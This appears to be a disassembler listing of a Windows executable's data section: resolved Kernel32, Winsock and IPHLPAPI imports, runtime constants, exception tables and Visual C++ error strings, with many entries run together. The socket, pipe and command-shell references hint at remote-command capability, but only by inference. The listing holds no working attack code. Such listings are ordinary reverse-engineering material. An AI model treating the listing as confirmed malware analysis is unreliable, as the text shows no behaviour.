dword_4370E0	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_4370E4	dd 7C83039Bh	; resolved to->KERNEL32.GetDiskFreeSpaceExAdword_4370E8	dd 7C81F992h	; resolved to->KERNEL32.GlobalMemoryStatusExdword_4370EC	dd 7C83632Dh	; resolved to->KERNEL32.GetTimeFormatAdword_4370F0	dd 7C8361EEh	; resolved to->KERNEL32.GetDateFormatAdword_4370F4	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_42045F+3BAr
dword_4370F8	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA					; sub_41D475+2Fr ...
dword_4370FC	dd 7C830D74h	; resolved to->KERNEL32.lstrcmpA					; sub_423C7A+3B7r ...
dword_437100	dd 7C81AE17h	; resolved to->KERNEL32.GetExitCodeProcess					; sub_43482B+1B9r
dword_437104	dd 7C85F90Fh	; resolved to->KERNEL32.PeekNamedPipedword_437108	dd 7C80DDFEh	; resolved to->KERNEL32.DuplicateHandledword_43710C	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipedword_437110	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemorydword_437114	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_41EFEF+82r ...
dword_437118	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_41FE3F+1A0r ...
dword_43711C	dd 7C863F58h	; resolved to->KERNEL32.Process32Nextdword_437120	dd 7C863DE5h	; resolved to->KERNEL32.Process32Firstdword_437124	dd 7C8098EBh	; resolved to->KERNEL32.GetCurrentThread					; sub_42003C+1Cr
dword_437128	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_43712C	dd 7C810111h	; resolved to->KERNEL32.lstrcpynAdword_437130	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_437134	dd 7C831C45h	; resolved to->KERNEL32.GetFileTimedword_437138	dd 7C821363h	; resolved to->KERNEL32.GetWindowsDirectoryAdword_43713C	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_42A7D5+Dr
dword_437140	dd 7C80EDD7h	; resolved to->KERNEL32.FindClosedword_437144	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_42810F+107r
dword_437148	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileAdword_43714C	dd 7C85B219h	; resolved to->KERNEL32.RemoveDirectoryAdword_437150	dd 7C812D9Fh	; resolved to->KERNEL32.TlsAllocdword_437154	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadId					; sub_42E4EE+45r
dword_437158	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSection					; sub_42DAEF+3Dr ...
dword_43715C	dd 7C809E79h	; resolved to->KERNEL32.IsBadWritePtrdword_437160	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_431C83+14Fr ...
dword_437164	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSection					; sub_42C226+28r ...
dword_437168	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_402459+206r ...
dword_43716C	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_437170	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_4051EF:loc_4052F5r ...
dword_437174	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; sub_402675+1A7r ...
dword_437178	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiA					; sub_402CE9+27Fr ...
dword_43717C	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_4032D2+1Fr ...
dword_437180	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_402459+14Cr ...
dword_437184	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_40535C+16r ...
dword_437188	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_401A77+2r ...
dword_43718C	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequency					; sub_418FA1+DBr ...
dword_437190	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_401B6E+2ABr ...
dword_437194	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_42D008+51r ...
dword_437198	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFree					; sub_42D3F9+120r ...
dword_43719C	dd 7C833478h	; resolved to->KERNEL32.SetEnvironmentVariableAdword_4371A0	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_435AE5+261r
dword_4371A4	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; sub_435AE5+B9r
dword_4371A8	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFiledword_4371AC	dd 7C80BCCFh	; resolved to->KERNEL32.IsBadCodePtrdword_4371B0	dd 7C809E01h	; resolved to->KERNEL32.IsBadReadPtrdword_4371B4	dd 7C812641h	; resolved to->KERNEL32.FlushFileBuffersdword_4371B8	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_4334DD+12Dr
dword_4371BC	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeA					; sub_4334DD+8Dr
dword_4371C0	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_4371C4	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_432F35+E1r
dword_4371C8	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_4371CC	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsAdword_4371D0	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_4371D4	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_4371D8	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_43291B+14r ...
dword_4371DC	dd 7C81DC03h	; resolved to->KERNEL32.SetStdHandle					; sub_43235A:loc_4323B0r
dword_4371E0	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_4320F7+6r
dword_4371E4	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeapdword_4371E8	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_430D9F+14Dr ...
dword_4371EC	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; sub_430D9F+A7r
dword_4371F0	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_4371F4	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_42F6FC+17Ar ...
dword_4371F8	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_4371FC	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_437200	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; sub_4330A0+143r
dword_437204	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_437208	dd 7C809740h	; resolved to->KERNEL32.TlsGetValue					; sub_42E555+18r
dword_43720C	dd 7C910340h	; resolved to->NTDLL.RtlSetLastWin32Errordword_437210	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_42B39A+F6r ...
dword_437214	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_42C925+2C5r ...
dword_437218	dd 7C8350BFh	; resolved to->KERNEL32.GetTimeZoneInformation					; sub_4339B6+4Er
dword_43721C	dd 7C80176Bh	; resolved to->KERNEL32.GetSystemTimedword_437220	dd 7C80977Ah	; resolved to->KERNEL32.InterlockedDecrement					; sub_42AF20+53r ...
dword_437224	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrement					; sub_42AF20+44r ...
dword_437228	dd 7C8328F7h	; resolved to->KERNEL32.ResumeThreaddword_43722C	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValue					; sub_42E487+2Er ...
dword_437230	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_437234	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_42FCB4+215r
dword_437238	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoA					; sub_42F6FC+5Er
dword_43723C	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_437240	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_437244	dd 7C814AF2h	; resolved to->KERNEL32.GetEnvironmentVariableA		dd 0
dword_43724C	dd 71B2517Fh			dd 0
dword_437254	dd 7712A63Fh			dd 0
dword_43725C	dd 7CA40EE0h						; sub_41EA30+28r ...
dword_437260	dd 7CAB8CB2h						; sub_42245D+4Dr
		align 8
dword_437268	dd 7E44F209h	; resolved to->USER32.IsCharAlphaNumericA					; sub_423919+2CBr ...
dword_43726C	dd 7E42E5C2h	; resolved to->USER32.CharLowerAdword_437270	dd 7E42F420h	; resolved to->USER32.GetClassNameA					; sub_426C45+19r
dword_437274	dd 7E42F383h	; resolved to->USER32.SendMessageA					; sub_426C45+7Dr
dword_437278	dd 7E41A8ADh	; resolved to->USER32.wsprintfA					; sub_415641+2Cr ...
		align 10h
dword_437280	dd 76A08017h			align 8
dword_437288	dd 71AC0BDEh	; resolved to->WS2_32.shutdowndword_43728C	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; sub_4225E4+C2r ...
dword_437290	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_41DD09+A6r ...
dword_437294	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_41DE6E+31Dr ...
dword_437298	dd 71AB3E00h	; resolved to->WS2_32.binddword_43729C	dd 71AB951Eh	; resolved to->WS2_32.getsocknamedword_4372A0	dd 71AB88D3h	; resolved to->WS2_32.listendword_4372A4	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_40A9FE+8409r ...
dword_4372A8	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_41F0F5+E2r ...
dword_4372AC	dd 71AB4428h	; resolved to->WS2_32.WSACleanupdword_4372B0	dd 71AB2DC0h	; resolved to->WS2_32.selectdword_4372B4	dd 71AC1028h	; resolved to->WS2_32.acceptdword_4372B8	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_4073A2+19r ...
dword_4372BC	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_4066E2+48r ...
dword_4372C0	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_409FC8+33r ...
dword_4372C4	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_404525+29Cr ...
dword_4372C8	dd 71AB8769h	; resolved to->WS2_32.WSASocketA					; sub_4225E4+7Br ...
dword_4372CC	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_404525+2ADr ...
dword_4372D0	dd 71AB428Ah	; resolved to->WS2_32.send					; .text:00404032r ...
dword_4372D4	dd 71AB615Ah	; resolved to->WS2_32.recv					; .text:00404107r ...
dword_4372D8	dd 71AB9639h	; resolved to->WS2_32.closesocket					; .text:0040411Cr ...
dword_4372DC	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError					; sub_4225E4+CDr ...
dword_4372E0	dd 71AB50C8h	; resolved to->WS2_32.gethostname					; sub_426D23+16r ...
dword_4372E4	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_428DF8+B5r
dword_4372E8	dd 71AB46C9h	; resolved to->WS2_32.getsockoptdword_4372EC	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_4372F0	dd 71AB2BC0h	; resolved to->WS2_32.ntohl		align 8
dword_4372F8	dd 76D6B096h	; resolved to->IPHLPAPI.GetUdpTable		align 10h
flt_437300	dd 5.0e-1		; DATA XREF: sub_405C99+509r
		align 8
dword_437308	dd 0FFFFFFFFh, 40A55Ah,	40A58Bh, 0dword_437318	dd 0FFFFFFFFh, 40A5F9h,	40A5FDh, 0dbl_437328	dq 9.765625e-4		; DATA XREF: sub_4182BA+223r
					; sub_4182BA+238r ...
dword_437330	dd 10h							; sub_40A9FE+621r ...
off_437334	dd offset sub_41962B	; DATA XREF: sub_419617+4o
					; sub_419647+Fo ...
dword_437338	dd 2 dup(0)						; sub_41B420+57o ...
dbl_437340	dq -3.0517578125e-5	; DATA XREF: sub_41E415+1Fr
flt_437348	dd 9.765625e-4		; DATA XREF: sub_425E18+1B5r
flt_43734C	dd 8.0			; DATA XREF: sub_425E18+1AFr
flt_437350	dd 0.0			; DATA XREF: sub_425E18+174r
flt_437354	dd 1.0e-3		; DATA XREF: sub_425E18+16Br
dbl_437358	dq -1.52587890625e-4	; DATA XREF: sub_426761+3DFr
dbl_437360	dq 3.0517578125e-4	; DATA XREF: sub_426761+3C0r
dbl_437368	dq -3.0517578125e-4	; DATA XREF: sub_426761+33Er
					; sub_426761+3A2r
dbl_437370	dq 1.52587890625e-4	; DATA XREF: sub_426761+279r
dbl_437378	dq -1.739501953125e-3	; DATA XREF: sub_426761+254r
					; sub_426761+2DDr ...
dbl_437380	dq 3.143310546875e-3	; DATA XREF: sub_426761+EDr
dbl_437388	dq 3.0517578125e-5	; DATA XREF: sub_426761+BAr
					; sub_426761+143r ...
dbl_437390	dq 6.103515625e-5	; DATA XREF: sub_426761+9Fr
					; sub_426761+309r
dbl_437398	dq 2.288818359375e-3	; DATA XREF: sub_426761+2Er
		dd offset dword_437FB8
off_4373A4	dd offset loc_42918F	; DATA XREF: sub_4290DB+4Do
					; sub_4291AB+Co
		dd offset sub_41B2AF
		dd offset sub_429172
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_4290DB+1Eo
		dd offset dword_437FF0
off_4373C4	dd offset loc_41B316	; DATA XREF: sub_41B24F+4Ao
					; sub_41B2D9+11o ...
		dd offset sub_41B2AF
		dd offset sub_41B2BC
		dd offset dword_438040
off_4373D4	dd offset loc_41B3E4	; DATA XREF: sub_41B1F5+4Do
					; sub_41B400+Co ...
		dd offset sub_41B2AF
		dd offset sub_41B3C7
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_4291C3+1Eo
		dd offset dword_438088
off_4373FC	dd offset sub_429325	; DATA XREF: sub_4292F3+12o
					; .text:0042935Ao ...
dword_437400	dd 0FFFFFFFFh, 0		dd offset sub_42985D
		dd 0FFFFFFFFh, 0
		dd offset sub_4298B9
dword_437418	dd 0FFFFFFFFh, 0		dd offset sub_42995C
		dd 0FFFFFFFFh, 0
		dd offset sub_4299B4
dbl_437430	dq 1.0			; DATA XREF: sub_42A706+6Cr
					; sub_43067A+2Ar
dword_437438	dd 0FFFFFFFFh, 42AC6Ch,	42AC80hdword_437444	dd 6D6D6F63h, 2E646E61h, 6D6F63hdword_437450	dd 632Fh	aComspec	db 'COMSPEC',0          ; DATA XREF: sub_42B0E9+8o
		align 10h
dword_437460	dd 0FFFFFFFFh, 0		dd offset sub_42B42E
		dd 0FFFFFFFFh, 0
		dd offset sub_42B4B7
dword_437478	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
		dd offset dword_4380B8
off_43749C	dd offset sub_42B978	; DATA XREF: sub_42B994+8o
					; sub_42B9D1+8o ...
		dd offset sub_42BA31
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42BA31+7o
		align 4
		dd offset dword_438100
off_4374BC	dd offset loc_42BA67	; DATA XREF: sub_42BA3E+5o
					; .text:off_447384o ...
dword_4374C0	dd 0FFFFFFFFh, 42C65Dh,	42C671ha__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_42C70D+8Eo
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_42C70D+4Fo
		align 4
byte_4374FC	db 6			; DATA XREF: sub_42DC7D:loc_42DCD4r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .text:off_45323Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: .text:off_453238o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
		dd offset dword_676F6C
		dd 776F70h
dword_437620	dd 707865h, 0	dbl_437628	dq 0.0			; DATA XREF: sub_42FF67+8Cr
					; sub_42FF67+ACr ...
dbl_437630	dq 4.195835e6		; DATA XREF: sub_43067A+Fr
dbl_437638	dq 3.145727e6		; DATA XREF: sub_43067A+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4306B8+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4306B8o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_430840+57o
		align 10h
dword_437670	dd 2 dup(0)						; sub_4334DD+39o ...
dword_437678	dd 0FFFFFFFFh, 430EAFh,	430EB3h, 0FFFFFFFFh, 430F63h, 430F67h
					; DATA XREF: sub_430D9F+5o
aPath		db 'PATH',0             ; DATA XREF: sub_430FC3+49o
		align 4
a_com		db '.com',0             ; DATA XREF: .text:off_4538CCo
		align 10h
a_exe		db '.exe',0             ; DATA XREF: .text:004538C8o
		align 4
a_bat		db '.bat',0             ; DATA XREF: .text:004538C4o
		align 10h
a_cmd		db '.cmd',0             ; DATA XREF: .text:off_4538C0o
		align 4
a__0		db '.\',0               ; DATA XREF: sub_431128+51o
		align 10h
dword_4376C0	dd 0FFFFFFFFh, 43171Ch,	431726h, 0dword_4376D0	dd 0FFFFFFFFh, 0		dd offset loc_4318AB
		align 10h
		dd offset sub_431889
		dd offset sub_431893
dword_4376E8	dd 0FFFFFFFFh, 431AE1h,	431AE5h, 0dword_4376F8	dd 0FFFFFFFFh, 431B43h,	431B4Ch, 0dword_437708	dd 0FFFFFFFFh, 0		dd offset loc_431C28
		align 8
		dd offset loc_431C14
		dd offset loc_431C18
dword_437720	dd 0FFFFFFFFh, 0		dd offset loc_431C7E
		align 10h
		dd offset loc_431C6A
		dd offset loc_431C6E
dword_437738	dd 0FFFFFFFFh, 0		dd offset sub_431E06
		dd 0FFFFFFFFh, 0
		dd offset sub_431F56
dword_437750	dd 0FFFFFFFFh, 0		dd offset sub_432019
		dd 0FFFFFFFFh, 0
		dd offset sub_432094
aIllegalByteSeq	db 'Illegal byte sequence',0 ; DATA XREF: .text:0045398Co
		align 10h
aDirectoryNotEm	db 'Directory not empty',0 ; DATA XREF: .text:00453988o
aFunctionNotImp	db 'Function not implemented',0 ; DATA XREF: .text:00453984o
		align 10h
aNoLocksAvailab	db 'No locks available',0 ; DATA XREF: .text:00453980o
		align 4
aFilenameTooLon	db 'Filename too long',0 ; DATA XREF: .text:0045397Co
		align 4
aResourceDeadlo	db 'Resource deadlock avoided',0 ; DATA XREF: .text:00453974o
		align 4
aResultTooLarge	db 'Result too large',0 ; DATA XREF: .text:0045396Co
		align 4
aDomainError	db 'Domain error',0     ; DATA XREF: .text:00453968o
		align 4
aBrokenPipe	db 'Broken pipe',0      ; DATA XREF: .text:00453964o
aTooManyLinks	db 'Too many links',0   ; DATA XREF: .text:00453960o
		align 4
aReadOnlyFileSy	db 'Read-only file system',0 ; DATA XREF: .text:0045395Co
		align 4
aInvalidSeek	db 'Invalid seek',0     ; DATA XREF: .text:00453958o
		align 4
aNoSpaceLeftOnD	db 'No space left on device',0 ; DATA XREF: .text:00453954o
aFileTooLarge	db 'File too large',0   ; DATA XREF: .text:00453950o
		align 4
aInappropriateI	db 'Inappropriate I/O control operation',0 ; DATA XREF: .text:00453948o
aTooManyOpenFil	db 'Too many open files',0 ; DATA XREF: .text:00453944o
aTooManyOpenF_0	db 'Too many open files in system',0 ; DATA XREF: .text:00453940o
		align 4
aInvalidArgumen	db 'Invalid argument',0 ; DATA XREF: .text:0045393Co
		align 10h
aIsADirectory	db 'Is a directory',0   ; DATA XREF: .text:00453938o
		align 10h
aNotADirectory	db 'Not a directory',0  ; DATA XREF: .text:00453934o
aNoSuchDevice	db 'No such device',0   ; DATA XREF: .text:00453930o
		align 10h
aImproperLink	db 'Improper link',0    ; DATA XREF: .text:0045392Co
		align 10h
aFileExists	db 'File exists',0      ; DATA XREF: .text:00453928o
aResourceDevice	db 'Resource device',0  ; DATA XREF: .text:00453924o
aUnknownError	db 'Unknown error',0    ; DATA XREF: .text:00453920o
					; .text:0045394Co ...
		align 4
aBadAddress	db 'Bad address',0      ; DATA XREF: .text:0045391Co
aPermissionDeni	db 'Permission denied',0 ; DATA XREF: .text:00453918o
		align 4
aNotEnoughSpace	db 'Not enough space',0 ; DATA XREF: .text:00453914o
		align 10h
aResourceTempor	db 'Resource temporarily unavailable',0 ; DATA XREF: .text:00453910o
		align 4
aNoChildProcess	db 'No child processes',0 ; DATA XREF: .text:0045390Co
		align 4
aBadFileDescrip	db 'Bad file descriptor',0 ; DATA XREF: .text:00453908o
aExecFormatErro	db 'Exec format error',0 ; DATA XREF: .text:00453904o
		align 10h
aArgListTooLong	db 'Arg list too long',0 ; DATA XREF: .text:00453900o
		align 4
aNoSuchDeviceOr	db 'No such device or address',0 ; DATA XREF: .text:004538FCo
		align 10h
aInputOutputErr	db 'Input/output error',0 ; DATA XREF: .text:004538F8o
		align 4
aInterruptedFun	db 'Interrupted function call',0 ; DATA XREF: .text:004538F4o
		align 10h
aNoSuchProcess	db 'No such process',0  ; DATA XREF: .text:004538F0o
aNoSuchFileOrDi	db 'No such file or directory',0 ; DATA XREF: .text:004538ECo
		align 4
aOperationNotPe	db 'Operation not permitted',0 ; DATA XREF: .text:004538E8o
aNoError	db 'No error',0         ; DATA XREF: .text:off_4538E4o
		align 10h
aRuntimeError	db 'runtime error ',0
		align 10h
aTlossError	db 'TLOSS error',0Dh,0Ah,0
		align 10h
aSingError	db 'SING error',0Dh,0Ah,0
		align 10h
aDomainError_0	db 'DOMAIN error',0Dh,0Ah,0
		align 10h
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .text:off_453A94o
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4330A0+119o
		align 10h
asc_437D50	db 0Ah			; DATA XREF: sub_4330A0+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4330A0+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4330A0+7Do
		align 4
dword_437D88	dd 0FFFFFFFFh, 4335D6h,	4335DAhaSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4339B6+2Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_434D70+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_434D70+35o
aHMmSs		db 'H:mm:ss',0
aDdddMmmmDdYyyy	db 'dddd, MMMM dd, yyyy',0
aMDYy		db 'M/d/yy',0
		align 10h
aDecember	db 'December',0
		align 4
aNovember	db 'November',0
		align 4
aOctober	db 'October',0
aSeptember	db 'September',0
		align 4
aAugust		db 'August',0
		align 4
aJuly		db 'July',0
		align 4
aJune		db 'June',0
		align 4
aApril		db 'April',0
		align 4
aMarch		db 'March',0
		align 4
aFebruary	db 'February',0
		align 10h
aJanuary	db 'January',0
		dd offset dword_636544
		dd 766F4Eh, 74634Fh, 706553h, 677541h, 6C754Ah,	6E754Ah
		dd 79614Dh, 727041h, 72614Dh, 626546h, 6E614Ah,	75746153h
		dd 79616472h, 0
aFriday		db 'Friday',0
		align 4
aThursday	db 'Thursday',0
		align 4
aWednesday	db 'Wednesday',0
		align 4
aTuesday	db 'Tuesday',0
aMonday		db 'Monday',0
		align 4
aSunday		db 'Sunday',0
		align 4
aSat		db 'Sat',0
aFri		db 'Fri',0
aThu		db 'Thu',0
		dd offset byte_646557
		dd offset dword_657554
		dd 6E6F4Dh, 6E7553h
dword_437F18	dd 4E512331h, 4E41hdword_437F20	dd 4E492331h, 46hdword_437F28	dd 4E492331h, 44hdword_437F30	dd 4E532331h, 4E41hdword_437F38	dd 0FFFFFFFFh, 435C9Ch,	435CA0h, 0FFFFFFFFh, 435D0Bh, 435D0Fh
					; DATA XREF: sub_435AE5+5o
		dd 447384h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_437F68	dd offset off_44739C	; DATA XREF: .text:00437F9Co
					; .text:00437FD0o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_437F80	dd offset off_450E00	; DATA XREF: .text:00437F98o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_437F80
		dd offset off_437F68
		dd offset dword_437F38+18h
		dd 0
		db    0			; DATA XREF: .text:00437FC8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 437F98h
dword_437FB8	dd 3 dup(0)			dd offset off_450E00
		dd offset unk_437FA8
		align 10h
		dd offset off_437F68
		dd offset dword_437F38+18h
dword_437FD8	dd 4 dup(0)			dd 2, 437FD0h
dword_437FF0	dd 3 dup(0)			dd offset off_44739C
		dd offset dword_437FD8+8
		align 8
off_438008	dd offset off_4473BC	; DATA XREF: .text:00438020o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_438008
		dd offset off_437F68
		dd offset dword_437F38+18h
dword_43802C	dd 3 dup(0)			dd 3, 438020h
dword_438040	dd 3 dup(0)			dd offset off_4473BC
		dd offset dword_43802C+4
		align 8
off_438058	dd offset off_450E30	; DATA XREF: .text:00438070o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_438058
		dd 0
		db    0			; DATA XREF: .text:00438098o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 438070h
dword_438088	dd 3 dup(0)			dd offset off_450E30
		dd offset unk_438078
		dd offset dword_437F38+18h
dword_4380A0	dd 4 dup(0)			dd 1, 43809Ch
dword_4380B8	dd 3 dup(0)			dd offset off_447384
		dd offset dword_4380A0+8
		align 10h
off_4380D0	dd offset off_450EA0	; DATA XREF: .text:004380E8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4380D0
dword_4380EC	dd 3 dup(0)			dd 1, 4380E8h
dword_438100	dd 3 dup(0)			dd offset off_450EA0
		dd offset dword_4380EC+4
		align 8
		dd 0FFFFFFFFh, 436308h
dword_438120	dd 19930520h, 1, 438118h, 4 dup(0)		dd 0FFFFFFFFh, 43631Ch
dword_438144	dd 19930520h, 1, 43813Ch, 4 dup(0)		dd 0FFFFFFFFh, 436340h,	0
		dd offset loc_436330
		dd 1, 436338h
dword_438178	dd 19930520h, 3, 438160h, 4 dup(0)		dd 0FFFFFFFFh, 436364h
dword_43819C	dd 19930520h, 1, 438194h, 4 dup(0)		dd 0FFFFFFFFh, 436378h,	0
		dd offset loc_436380
		dd 0
		dd offset loc_436388
		dd 0
		dd offset loc_436390
		dd 3, 436398h, 4, 4363A0h, 0
		dd offset loc_4363A8
		dd 6, 4363B0h, 0
		dd offset loc_4363B8
		dd 8, 4363C0h, 9, 4363C8h, 0
		dd offset loc_4363D0
		dd 0Bh,	4363D8h, 0Ch, 4363E0h, 0
		dd offset loc_4363E8
		dd 0Eh,	4363F0h, 0
		dd offset loc_4363F8
		dd 0
		dd offset loc_436400
		dd 11h,	436408h, 11h, 436410h
